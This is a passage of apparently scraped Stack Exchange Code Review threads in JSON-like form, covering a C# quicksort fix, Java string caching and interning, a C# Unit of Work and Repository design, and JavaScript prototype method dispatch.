supposed to end up with the pivot value where it belongs.</li>\n<li>you are not checking for left >= right on the increment side of the partition loops</li>\n</ol>\n\n<p>The odd handling of duplicates is because the 'left' loop should be a <code><=</code> loop, not a <code><</code> loop:</p>\n\n<pre><code> while(list[left] <= pivot)\n left++;\n</code></pre>\n\n<p>and you should get rid of the condition:</p>\n\n<blockquote>\n<pre><code> if(list[right] == pivot && list[left] == pivot)\n left++;\n</code></pre>\n</blockquote>\n\n<p>You should return <code>left</code>.</p>\n\n<p>Then, in the Recursive call, you have the constant value <code>1</code> which you use to test the left-condition.... This is a big bug, because the pivot will only return 0 for the left-most partition. The <code>1</code> constant should be <code>left</code> ....</p>\n\n<p>I ended up <em>ideoning</em> your code to play with it. IU shuffled around a lot of the logic.</p>\n\n<p><a href=\"http://ideone.com/9EOzrf\">Have a look...</a></p>\n\n<p>This is the code that does the sort closer to the way that I expect:</p>\n\n<pre><code>using System;\nusing System.Collections.Generic;\n\npublic class Test\n{\n static List<int> RandomList(int size) {\n List<int> ret = new List<int>(size);\n Random rand = new Random(1);\n for (int i = 0; i < size; i++) {\n ret.Add(rand.Next(size));\n }\n return ret;\n }\n\n static int MyPartition(List<int> list, int left, int right)\n {\n int start = left;\n int pivot = list[start];\n left++;\n right--;\n\n while(true)\n {\n while(left <= right && list[left] <= pivot)\n left++;\n\n while(left <= right && list[right] > pivot)\n right--;\n\n if(left > right)\n {\n list[start] = list[left - 1];\n list[left - 1] = pivot;\n\n return left;\n }\n\n\n int temp = list[left];\n list[left] = list[right];\n list[right] = temp;\n\n }\n }\n\n static void MyQuickSort(List<int> list, int left, int right)\n {\n if(list == null || list.Count <= 1)\n return;\n\n if(left < right)\n {\n int pivotIdx = MyPartition(list, left, right);\n //Console.WriteLine(\"MQS \" + left + \" \" + right);\n //DumpList(list);\n MyQuickSort(list, left, pivotIdx - 1);\n MyQuickSort(list, pivotIdx, right);\n }\n }\n\n static void DumpList(List<int> list) {\n list.ForEach(delegate(int val)\n {\n Console.Write(val);\n Console.Write(\", \");\n });\n Console.WriteLine();\n }\n\n public static void Main()\n {\n List<int> list = RandomList(100);\n DumpList(list);\n MyQuickSort(list, 0, list.Count);\n DumpList(list);\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:18:05.040",
"Id": "47142",
"ParentId": "47128",
"Score": "19"
}
}
] | {
"AcceptedAnswerId": "47142",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:41:41.270",
"Id": "47128",
"Score": "20",
"Tags": [
"c#",
"algorithm",
"sorting",
"quick-sort"
],
"Title": "QuickSort C# Implementation"
} | 47128 |
<p>I'm trying to implement String-Pool. I'm maintaining a <code>HashMap<String,String></code> to store the keys.</p>
<pre><code>public class TestStringCaching {
static Map < String, String > cache = new HashMap < String, String > ();
public static void main(String[] args) {
int iter = 8000000;
String[] temp = new String[iter];
long st1 = System.currentTimeMillis();
for (int i = 0; i < iter; i++) {
temp[i] = generateString();
}
System.out.println(System.currentTimeMillis() - st1);
st1 = System.currentTimeMillis();
for (int i = 0; i < iter; i++) {
temp[i] = generateString1();
}
System.out.println(System.currentTimeMillis() - st1);
System.gc();
}
private static String generateString() {
return new String("abc");
}
private static String generateString1() {
String str = new String("abc");
if (cache.containsKey(str))
return cache.get(str);
else {
cache.put(str, str);
return cache.get(str);
}
}
}
</code></pre>
<p>In both of the cases <code>getString()</code> and <code>getString1()</code> same number of string objects are created. But fetching from the map/cache is blistering fast compared to normal creation of String.</p>
<p>Why is that happening ?</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:17:23.060",
"Id": "82585",
"Score": "3",
"body": "What happens if you have `generateString2(){ return \"abc\";}` ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:23:02.047",
"Id": "82586",
"Score": "0",
"body": "return \"abc\" .. It will not create object every time.It would be faster than above cases."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:27:58.847",
"Id": "82589",
"Score": "0",
"body": "@srikanth why not run a small test? As this is java I wouldn't be so sure, that there is no new Object created."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:28:53.263",
"Id": "82602",
"Score": "1",
"body": "[I have solved a problem like this with JDOM](https://github.com/hunterhacker/jdom/blob/master/core/src/java/org/jdom2/StringBin.java). There are a number of inefficiencies in HashMap that make it less suitable for this sort of String Pooling. The code I linked uses an internal class `ArrayCopy` which is used instead of `java.util.Arrays` because the JDOM code needs to run on Java5 which does not have the `copyOf` methods in java.util.Arrays."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T20:08:54.427",
"Id": "82656",
"Score": "3",
"body": "I don't think `gc()` is necessary there."
}
] | [
{
"body": "<h2>generateString</h2>\n\n<ul>\n<li>It creates <code>8000000</code> <code>String</code> instances on the heap and stores their references in the array. </li>\n<li>Every array slot refers to a different <code>String</code> instance.</li>\n<li>It uses more memory and GC might use a lot of CPU time.</li>\n</ul>\n\n<h2>generateString1</h2>\n\n<ul>\n<li>It uses only one <code>String</code> instance and every index of the array points to this same instance (this is the instance which is created first). </li>\n<li>Although <code>generateString1</code> creates a new <code>String</code> instance (<code>String str = new String(\"abc\");</code>) on every call they could be collected by the garbage collector right at the end of the method, so it uses less memory.</li>\n</ul>\n\n<p>On the first iteration this code path runs:</p>\n\n<pre><code>String str = new String(\"abc\"); // str#1 instance\ncache.containsKey(str); // return false\n// else branch:\ncache.put(str, str);\nreturn cache.get(str);\n</code></pre>\n\n<p>On the subsequent calls this code path runs:</p>\n\n<pre><code>String str = new String(\"abc\"); // str#x instances\ncache.containsKey(str) // returns true\nreturn cache.get(str);\n</code></pre>\n\n<p>On the subsequent calls the method creates the <code>str</code> <code>String</code> (<code>str#x</code> instance) and uses it for <em>only</em> cache lookup. \nIt retrieves the cached <code>str#1</code> instance from the map and returns that. The created <code>str#x</code> instance is available for garbage collection at the end of the method.</p>\n\n<h2>JVM might be smart</h2>\n\n<p>Note that the <code>temp</code> variable is not used at all, so a smart JVM/hotspot could eliminate it completely (since it's dead code) and you might get invalid benchmark results. Benchmarking is not an easy task. To prevent this I'd change</p>\n\n<blockquote>\n<pre><code>System.out.println(System.currentTimeMillis() - st1);\n</code></pre>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>System.out.println(System.currentTimeMillis() - st1);\nSystem.out.println(Arrays.hashCode(temp));\n</code></pre>\n\n<p>So the JVM can't get rid of the code, it has to use it for showing the result. You might find this answer also useful: <a href=\"https://codereview.stackexchange.com/a/43851/7076\">Sum the difference of two arrays</a></p>\n\n<h2>Comparing memory consumption</h2>\n\n<p>You can compare memory consumption by printing the following:</p>\n\n<pre><code>System.out.println(\"mem: \" + (Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()));\n</code></pre>\n\n<p>Running only <code>generateString</code> uses 224 MByte memory. Running only <code>generateString1</code> uses 32 MByte memory.\n(To get proper results here you need the printing of <code>Arrays.hashCode(temp)</code> in the code!)</p>\n\n<p>If you change</p>\n\n<blockquote>\n<pre><code>private static String generateString() {\n return new String(\"abc\");\n}\n</code></pre>\n</blockquote>\n\n<p>to</p>\n\n<pre><code>private static String generateString() {\n return new String(\"abc\").intern();\n}\n</code></pre>\n\n<p>(as it was suggested by <em>janos</em>) it will also use around 32 MByte memory.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T15:49:37.703",
"Id": "82608",
"Score": "0",
"body": "In both the cases the number of string objects getting Garbage collected are same. Ideally there should not be any difference ri8? Does increase in the size of heap effecting the performance of generateString() ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:14:52.610",
"Id": "82613",
"Score": "0",
"body": "@srikanth: No, they're not the same. I've updated the answer a little bit. (I have to go offline now but I'll try to add a better explanation later.)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:15:11.777",
"Id": "82614",
"Score": "0",
"body": "@srikanth: Increasing the heap size would help."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:27:32.473",
"Id": "82617",
"Score": "1",
"body": "+1 Nice catch, sir. When I was just glancing at this, I had a \"wtf\" moment myself."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:30:38.977",
"Id": "47143",
"ParentId": "47141",
"Score": "12"
}
},
{
"body": "<p>If code creates a string, quickly finds out that an identical string exists somewhere (e.g. in a <code>HashMap</code>), and replaces the reference to the new string with a reference to the cached one, then the garbage collector can immediately discard the new string without having to spend any time copying it out of the \"Eden\" heap. This is a useful optimization when it can be done cheaply.</p>\n\n<p>The reason such caching is not normally done as a matter of course is that having a string in the cache will only be helpful when more strings with identical content are going to be created and checked against the cache, and it may be decidedly counterproductive if there are strings in the cache whose content doesn't match those of any strings that will be generated in future. If <code>String</code> were a native type which was treated specially by the virtual machine and garbage collector, it could include logic to cache the backing store in cases where it was useful, without storing unbounded amounts of useless data. While native support wouldn't be strictly necessary for such a feature, the overhead required to implement it without native support would in most cases be greater than the performance benefits it would offer (native GC/JVM support would both reduce the cost in those cases where no benefit was achieved, and improve the benefits in those cases where it was).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:01:10.150",
"Id": "47154",
"ParentId": "47141",
"Score": "7"
}
},
{
"body": "<p>Why skimp on braces? Putting braces around the if-block in <code>generateString()</code> costs you almost nothing — not even an extra line of code. Make it a habit to always include explicit braces so that you never write a disaster like <a href=\"https://www.imperialviolet.org/2014/02/22/applebug.html\">this</a>. (Don't think that it can't happen to you! Accidents often have more than one contributing factor — so don't be a contributing factor.)</p>\n\n<blockquote>\n<pre><code>private static String generateString1() {\n String str = new String(\"abc\");\n if (cache.containsKey(str))\n return cache.get(str);\n else {\n cache.put(str, str);\n return cache.get(str);\n }\n}\n</code></pre>\n</blockquote>\n\n<p>That could be better expressed as:</p>\n\n<pre><code>private static String generateString1() {\n String str = new String(\"abc\");\n if (!cache.containsKey(str)) {\n cache.put(str, str);\n }\n return cache.get(str);\n}\n</code></pre>\n\n<p>If you really don't like braces, putting the action on the same line as the <code>if</code> could also be acceptable:</p>\n\n<pre><code>private static String generateString1() {\n String str = new String(\"abc\");\n if (!cache.containsKey(str)) cache.put(str, str);\n return cache.get(str);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:12:21.967",
"Id": "47160",
"ParentId": "47141",
"Score": "15"
}
},
{
"body": "<p>I tried this on 2 different computers and I'm getting inconsistent results. Sometimes the first method is faster, sometimes the other. It also depends on the number of iterations, with a pretty wild spread. I think the outcome depends on: </p>\n\n<ul>\n<li>the JVM implementation and version, especially the default garbage collector settings and behavior</li>\n<li>the currently active garbage collector settings</li>\n</ul>\n\n<p>The most important point is not so much the processing time, but the implications in terms of memory use: the first method will store <code>N</code> instances of <code>String</code> on the heap while the other will store only 1. The difference in processing time is more of an otherwise meaningless trivia.</p>\n\n<hr>\n\n<p>While on the subject of caching Strings, I think it's worth mentioning about the technique of <a href=\"http://en.wikipedia.org/wiki/String_interning\" rel=\"nofollow noreferrer\">String interning</a>. For example if your application loads 100k records from a database and you use <code>rs.getString(\"city\")</code> for each record when in fact there are only 10 distinct city names, then you could be wasting a lot of memory. In such situation, storing the results of <code>rs.getString(\"city\").intern()</code> could reduce memory usage dramatically, at the expense of using more PermGen space instead of the heap.</p>\n\n<p>As <a href=\"https://codereview.stackexchange.com/users/27975/h-j-k\">@h-j-k</a> added in comments:</p>\n\n<blockquote>\n <p>To add on: String interning in Java 7 happens in heap, not PermGen anymore: <a href=\"http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6962931\" rel=\"nofollow noreferrer\">http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6962931</a> (I am also advocating testing this too within the context of the given question)</p>\n</blockquote>\n\n<p>Considering the memory usage, I think it's safe to say that in your real-world application you should go either with your own Map cache or interning. As you posted in a comment, <a href=\"https://stackoverflow.com/questions/10624232/performance-penalty-of-string-intern\">here's an excellent post</a> comparing the performance of these two options. However, keep in mind that the result of such benchmark will always depend on your JVM implementation and its tuning options. Managing your own cache could be tedious sometimes in a realistic situation. If the speed of this is of real concern in your application, you might want to repeat the benchmark in the application itself, rather than just in an isolated experiment.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T04:04:50.527",
"Id": "82696",
"Score": "1",
"body": "To add on: String interning in Java 7 happens in heap, not PermGen anymore: http://bugs.java.com/bugdatabase/view_bug.do?bug_id=6962931 (I am also advocating testing this too within the context of the given question)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:19:57.460",
"Id": "82702",
"Score": "0",
"body": "Thanks for the reply. I have tested String.intern(). private static String generateString2() {\nreturn new String(\"abc\").intern(); } . But this method taking more time than other two methods. Could you tell me the reason?\np.s i'm running on windows using Java7"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:29:26.407",
"Id": "82703",
"Score": "0",
"body": "@srikanth I forgot to mention but tested that too in different environments and I'm getting inconsistent results... But I think the processing time of this is not really important. You are measuring the behavior of the garbage collector in a very limited context, and I don't think the results are relevant at all."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:45:16.030",
"Id": "82706",
"Score": "0",
"body": "how should i bench mark then? :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:04:48.390",
"Id": "82708",
"Score": "0",
"body": "@srikanth I guess the only question that remains is whether to intern or not, as the first method would waste too much memory anyway. Is the time difference significant between your map solution and interning? If not then interning would be easier for you, as you don't have to implement the caching yourself. This may easily outweigh the drawback of minor timing differences."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:09:18.337",
"Id": "82709",
"Score": "0",
"body": "http://stackoverflow.com/questions/10624232/performance-penalty-of-string-intern .. In this post it clearly says map outperforms Strring.intern()"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:21:08.210",
"Id": "82710",
"Score": "0",
"body": "@srikanth cool, that's a very nice post, thanks! Based on that I added one more paragraph with my new conclusion."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:35:27.200",
"Id": "82711",
"Score": "0",
"body": "let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/13896/discussion-between-srikanth-and-janos)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T08:56:53.837",
"Id": "82720",
"Score": "0",
"body": "@srikanth here's another related link too, you can also test with a specific JVM option: http://java-performance.info/string-intern-in-java-6-7-8/ (this link also appears in one of the questions to the SO link you provided in your comment above.)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T08:47:03.143",
"Id": "82909",
"Score": "0",
"body": "Benchmarking in Java is tricky. Couple of rules: 1. Give the JVM time to \"warm up\" and let HotSpot kick in first; running tests right off the bat is useless because all you're doing is running interpreted code that HotSpot hasn't compiled yet, and possibly getting a big hit from the compilation itself, and 2. Don't call `gc()`; not only is it just a \"suggestion\", but 95% of the time the JVM is smarter than you at determining when to garbage collect."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T18:41:38.413",
"Id": "47168",
"ParentId": "47141",
"Score": "10"
}
},
{
"body": "<p>The part of this exercise that concerns me most, and has not been addressed, is that you are not creating 8,000,000 full string instances. You are creating 8,000,000 light-weight wrappers to a single 3-char array.</p>\n\n<p>Consider the chain of events when you create a <code>new String(\"abc\")</code> instance:</p>\n\n<ol>\n<li>The Java compiler identifies the String constant <code>\"abc\"</code>.</li>\n<li>It allocates space in perm-gen for it (or somewhere on the heap in Java8).</li>\n<li>The constant consists of a 3-char array <code>char[] chars = {'a', 'b', 'c'}</code> and a String instance consisting of a pointer to the array (and in some Java7 versions and earlier, an offset (0) and a length (3)).</li>\n<li>When the code is run, the <code>new String(\"abc\")</code> is run, and it creates a new String instance, but <strong><em>not a new char[] array</em></strong>. The char-array is a constant, immutable value, so there is no reason to change it.</li>\n<li>the new String points to the exact same char-array as the String constant (and, in some Java7 versions and earlier, it has the offset and length of 0 and 3).</li>\n</ol>\n\n<p>The bottom line is that you are not creating 8,000,000 Strings, you are creating 8,000,000 half-strings, and reusing one <code>char[]</code> array 8,000,000 times.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:36:48.157",
"Id": "82649",
"Score": "0",
"body": "Good point +1 but note that there is no `offset` nor `length` in the `String` class any more. [#2 here](http://codereview.stackexchange.com/a/45894/7076) and http://stackoverflow.com/a/16123681/843804"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:51:21.447",
"Id": "82653",
"Score": "1",
"body": "@palacsint Completed the Java7-and-earlier references to length/offset."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T05:43:36.663",
"Id": "82705",
"Score": "0",
"body": "Very good point @rolfl. :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:19:07.337",
"Id": "82824",
"Score": "0",
"body": "Are you sure that new String(char[]) does not copy the array?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:23:42.337",
"Id": "82825",
"Score": "0",
"body": "@Vojta - For certain Java versions I am certain.... For recent Java7 and Java8, I will need to look."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:25:39.840",
"Id": "82826",
"Score": "0",
"body": "@Vojta - let's discuss this in the [2nd monitor chat room](http://chat.stackexchange.com/rooms/8595/the-2nd-monitor)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:39:36.303",
"Id": "82828",
"Score": "0",
"body": "My bad, I confused new String(string) for new String(char[])"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:27:55.720",
"Id": "47176",
"ParentId": "47141",
"Score": "8"
}
},
{
"body": "<p>Another aspect to consider is cache locality as the pool grows. The cost of allocating a small temporary string may be <em>far</em> less than an L1/L2 cache miss. You could randomly generate strings such that the pool will grow to thousands of unique values to see if it has any effect on the benchmark.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T06:46:12.363",
"Id": "47207",
"ParentId": "47141",
"Score": "3"
}
},
{
"body": "<p>My guess is that the reason is very likely to be a <strong>garbage collection</strong>. </p>\n\n<p><strong>Very possible explanation:</strong></p>\n\n<p>As it was said in the first case you have a big array eating up a lot of space and if the GC gets run during that time it will first do a minor collection. In minor collection there is a copy GC used that is the worse the more objects survive. In your case \"all\" of your objects survive = slow minor collection. Then you have to get it into Old generation. Then as you add more and more string that are to survive you have to again run minor collection (all of them survive = slow) and so on. In the other case your hash map is small and will get soon to old generation that will unlikely to be collected again. All the new Strings will die right away because you use the hashed ones and the more objects are garbage the quicker the minor collection is. </p>\n\n<p>You can verify it by running JVM with <strong>-verbose:gc -XX:+PrintGCTimeStamps -XX:+PrintGCDetails</strong> and it tells you how many times and how long each garbage collection took. I am pretty sure this can give you the sum of times very close to the difference you are observing. If not, I would be curious for you to share your results.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T20:16:32.470",
"Id": "47284",
"ParentId": "47141",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T13:05:11.627",
"Id": "47141",
"Score": "15",
"Tags": [
"java",
"strings",
"cache",
"reinventing-the-wheel"
],
"Title": "Why does caching of string objects perform faster?"
} | 47141 |
<p>I have been looking through Code Review on the subject of Unit of Work and Repository patterns and realised that my implementation appears to provide very similar functionality but in reverse class order/hierarchy. (Couldn't think of a better way to describe it sorry)</p>
<p><a href="https://codereview.stackexchange.com/questions/33611/unit-of-work-with-repository-pattern-mvc-5-ef-6">This is one of the questions I feel mine is similar to but in reverse.</a></p>
<p>I have added my code below. I would appreciate any feedback on my implementation you can offer regarding correctness, efficiency, and any suggestions.</p>
<p><strong>UnitOfWork.cs</strong> - UnitOfWork + IUnitOfWork</p>
<pre><code>public class UnitOfWork : IUnitOfWork
{
PropertyInfoEntities _context = null;
public IXXXXXRepository XXXXXRepository { get; set; }
public IPersonRepository PersonRepository { get; set; }
public IPersonLoginRepository PersonLoginRepository { get; set; }
public IPropertyApplicationRepository PropertyApplicationRepository { get; set; }
public ISaleTypeRepository SaleTypeRepository { get; set; }
public IStatusRepository StatusRepository { get; set; }
public ITownRepository TownRepository { get; set; }
public ITypeRepository TypeRepository { get; set; }
public UnitOfWork() : this(new PropertyInfoEntities()) { }
public UnitOfWork(PropertyInfoEntities context)
{
_context = context;
InitRepositories();
}
private void InitRepositories()
{
XXXXXRepository = new XXXXXRepository(_context);
PersonRepository = new PersonRepository(_context);
PersonLoginRepository = new PersonLoginRepository(_context);
PropertyApplicationRepository = new PropertyApplicationRepository(_context);
SaleTypeRepository = new SaleTypeRepository(_context);
StatusRepository = new StatusRepository(_context);
TownRepository = new TownRepository(_context);
TypeRepository = new TypeRepository(_context);
}
public void Save()
{
_context.SaveChanges();
}
#region IDisposable Members
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing == true)
{
_context = null;
}
}
~UnitOfWork()
{
Dispose(false);
}
#endregion
}
public interface IUnitOfWork : IDisposable
{
IXXXXXRepository XXXXXRepository { get; set; }
IPersonRepository PersonRepository { get; set; }
IPersonLoginRepository PersonLoginRepository { get; set; }
IPropertyApplicationRepository PropertyApplicationRepository { get; set; }
ISaleTypeRepository SaleTypeRepository { get; set; }
IStatusRepository StatusRepository { get; set; }
ITownRepository TownRepository { get; set; }
ITypeRepository TypeRepository { get; set; }
void Save();
}
</code></pre>
<p><strong>XXXXXRepository.cs</strong> - XXXXXRepository + IXXXXXRepository</p>
<pre><code>public class XXXXXRepository : IXXXXXRepository
{
PropertyInfoEntities _context = null;
public XXXXXRepository() : this(new PropertyInfoEntities()) { }
public XXXXXRepository(PropertyInfoEntities context)
{
_context = context;
}
public IQueryable<XXXXX> All
{
get { return _context.XXXXXs; }
}
public IQueryable<XXXXX> AllIncluding(params Expression<Func<XXXXX, object>>[] includeProperties)
{
IQueryable<XXXXX> query = _context.XXXXXs;
foreach (var includeProperty in includeProperties)
{
query = query.Include(includeProperty);
}
return query;
}
public XXXXX Find(int id)
{
return _context.XXXXXs.Find(id);
}
public XXXXX FindNT(int id)
{
return _context.XXXXXs.AsNoTracking().Single(f => f.ID == id);
}
public void InsertOrUpdate(XXXXX XXXXX)
{
if (XXXXX.ID == default(int))
{
// New entity
_context.XXXXXs.Add(XXXXX);
}
else
{
// Existing entity
_context.Entry(XXXXX).State = System.Data.Entity.EntityState.Modified;
}
}
public void Delete(int id)
{
var XXXXX = _context.XXXXXs.Find(id);
_context.XXXXXs.Remove(XXXXX);
}
public void Save()
{
_context.SaveChanges();
}
public void Dispose()
{
_context.Dispose();
}
}
public interface IXXXXXRepository : IDisposable
{
IQueryable<XXXXX> All { get; }
IQueryable<XXXXX> AllIncluding(params Expression<Func<XXXXX, object>>[] includeProperties);
XXXXX Find(int id);
XXXXX FindNT(int id);
void InsertOrUpdate(XXXXX XXXXX);
void Delete(int id);
void Save();
}
</code></pre>
<p>Providing my implementation was not incorrect, I was planning to change the UoW Repository Properties to self instantiating fields to increase efficiency, and load into a controller using a BaseController. However reading through some other Code Review questions has made my implementation feel wrong.</p>
<p><strong>EDIT (4 years on):</strong>
Looking back, my implementation was horrendous; mainly because of the InitRepositories() method that was called by the UoW constructor. This meant that for every instantiation of the UoW, it would instantiate each and every repository, regardless of whether they may be used or not. Aside from this the implementation isn't too bad, though it does work in reverse order to most others. If you want to hold the repositories explicitly within the UoW, you should implement them as (forgive my terminology) lazily self-instantiating properties, like <a href="https://docs.microsoft.com/en-us/aspnet/mvc/overview/older-versions/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application#creating-the-unit-of-work-class" rel="nofollow noreferrer">here</a>. Nowadays my preference is to use <a href="https://github.com/urfnet/URF.NET" rel="nofollow noreferrer">URF.NET</a> and customise it as required.</p>
| [] | [
{
"body": "<p>I get what you mean by \"reversed\":</p>\n\n<p><img src=\"https://i.stack.imgur.com/sdjXl.png\" alt=\"unit-of-work depends on repository\"></p>\n\n<p>As opposed to:</p>\n\n<p><img src=\"https://i.stack.imgur.com/qBS8o.png\" alt=\"repository depends on unit-of-work\"></p>\n\n<p>Makes sense, at least to me - the way I see UoW/Repository pattern (everybody seems to have their own take at this one, eh?), Entity Framework's <code>DbContext</code> is a unit-of-work, and an <code>IDbSet<TEntity></code> is a repository.</p>\n\n<p>Hence, I tend to agree with having unit-of-work depend on repositories and not the opposite. When we inherit <code>DbContext</code>, we expose <code>IDbSet<TEntity></code> properties, and this is exactly what you've got here.</p>\n\n<p>Thing is, if <code>DbContext</code> is a unit-of-work, and <code>IDbSet<TEntity></code> is a repository... then what need is there to wrap it with infrastructure code that \nonly buys additional complexity?</p>\n\n<p>You're not showing how your UoW implementation is used in your controllers, but if you're using it directly, then you're playing with <code>IQueryable<T></code> and you're not really wrapping anything, EF and Linq-to-Entities is bleeding out of every usage you're making of every repository call, making the extra abstraction <em>not-quite-an-abstraction</em>.</p>\n\n<p>I have yet to see a UoW+Repository implementation with EF that will show me real benefits over using the <code>DbContext</code> directly in the controllers (or, more appropriately, in a dedicated, testable service class).</p>\n\n<p>Instead, I tend to just go like this:</p>\n\n<pre><code>public Interface IUnitOfWork\n{\n IDbSet<TEntity> Set<TEntity>();\n void Save();\n}\n\npublic class SomeContext : DbContext, IUnitOfWork\n{\n public void Save() // base method returns an int that I don't want\n {\n base.SaveChanges(); // qualifier \"base\" is redundant, specified for readability\n }\n}\n</code></pre>\n\n<p>Then, I can inject an <code>IUnitOfWork</code> and get an <code>IDbSet<TEntity></code> for any entity type, and do everything EF has in store for me with that interface; the <code>IUnitOfWork</code> merely enables mocking, so I can set it up to return a mock <code>IDbSet<Person></code> when <code>Set<Person>()</code> is called. Keep. It. Simple.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T10:21:42.697",
"Id": "82728",
"Score": "0",
"body": "+1 Thank-you for your feedback! I shall try out your implementation. However I have noticed that ASP.Net appear to implement it similarly to me in their tutorial: http://www.asp.net/mvc/tutorials/getting-started-with-ef-5-using-mvc-4/implementing-the-repository-and-unit-of-work-patterns-in-an-asp-net-mvc-application (3/4 down page: Creating the Unit of Work Class)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T10:35:45.630",
"Id": "82729",
"Score": "2",
"body": "From a note frame in that link: *\"You can also build an abstraction layer into your database context class by using IDbSet interfaces there instead of DbSet types for your entity sets. The approach to implementing an abstraction layer shown in this tutorial is one option for you to consider, not a recommendation for all scenarios and environments.\"* ;)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:13:36.123",
"Id": "82749",
"Score": "0",
"body": "Thank-you for your help Mat, I shall investigate further :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T20:32:44.300",
"Id": "47180",
"ParentId": "47144",
"Score": "12"
}
}
] | {
"AcceptedAnswerId": "47180",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2014-04-14T14:01:12.637",
"Id": "47144",
"Score": "8",
"Tags": [
"c#",
"entity-framework",
"asp.net-mvc",
"repository"
],
"Title": "MVC 5 & EF 6 - Repository & Unit of Work Pattern"
} | 47144 |
<p>I have three JavaScript objects. The first one serves merely as a prototype. The other two are implementation of a specific type.</p>
<pre><code>var MainPrototype = {};
var SpecificType = $.extend(Object.create(MainPrototype));
var OtherSpecificType = $.extend(Object.create(MainPrototype));
</code></pre>
<p>I am missing the option of a <code>parent</code>-method and am trying to implement some specifics for each specific type.</p>
<p>I started of by comparing the types within the main prototype object, yet I found the nesting if-else clausing worrysome and in case that new types would be introduced, I guess the code will get ugly fast. I also does not <em>feel</em> right to put the specifics into the main function.</p>
<pre><code>var MainPrototype = {
function: bind() {
//generic stuff
if (this.type === SpecificType.type) {
// specifics for this type
} else if (this.type === OtherSpecificType.type) {
// specifics for other type
}
}
}
</code></pre>
<p>That's why I thought I could call a specific function dynamically.</p>
<pre><code>var MainPrototype = {
bind: function() {
//generic stuff
var specificBindMethod = this.type + "Bind";
if (typeof(this[bindMethod]) === "function") {
this[categoryBindMethod]();
}
}
};
var SpecificType = $.extend(Object.create(MainPrototype, {
type: 'specific',
specificBind: function() {
// doSpecifics
}
});
var OtherSpecificType = $.extend(Object.create(MainPrototype, {
function: 'other',
otherBind: function() {
// doSpecifics
}
})
</code></pre>
<p>Now I can define the specific function within its proper object and only if they exist they will get called getting rid of the nesting.</p>
